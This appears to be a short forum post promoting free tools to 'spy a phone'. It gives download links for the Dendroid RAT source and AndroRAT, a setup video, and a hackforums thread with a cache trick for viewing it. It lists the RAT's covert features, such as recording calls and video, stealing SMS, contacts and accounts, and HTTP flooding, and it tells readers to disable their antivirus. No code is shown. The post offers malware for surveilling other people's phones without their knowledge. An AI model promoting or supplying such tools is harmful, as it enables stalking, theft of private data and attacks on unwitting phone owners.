there are Many ways to spy a phone for free

1- dendroid rat source: http://www48.zippyshare.com/v/50392795/file.html

how to setup: https://www.youtube.com/watch?v=o4aJ8bcO3ak

what is dendroid rat. 

Features:
Ringer Up/Down
Media Up/Down
Screen On
Intercept On/Off
Block SMS On/Off
Record Audio
Record Video
Take Photo Front/Back
Record Calls On/Off
Get:
SMS Inbox/OutBox
Browser History/Bookmarks
Call History
Contacts
User Accounts
Installed Apps
Send SMS
Delete SMS
Send SMS To All Contacts
Call Numbers
Delete Call Log
Open Page
Open Dialog (Toast Notification)
Open App
HTTP Flood
Update App
Transfer Bot
Gps Map




2- remote administration tool androrat

http://onhax.net/androrat/



3- http://www.hackforums.net/showthread.php?tid=3398504

if you want to see without sing up: put link below to google search box and click enter. 

cache:http://www.hackforums.net/showthread.php?tid=3398504


———You should close your antivirus program to use one of these methods.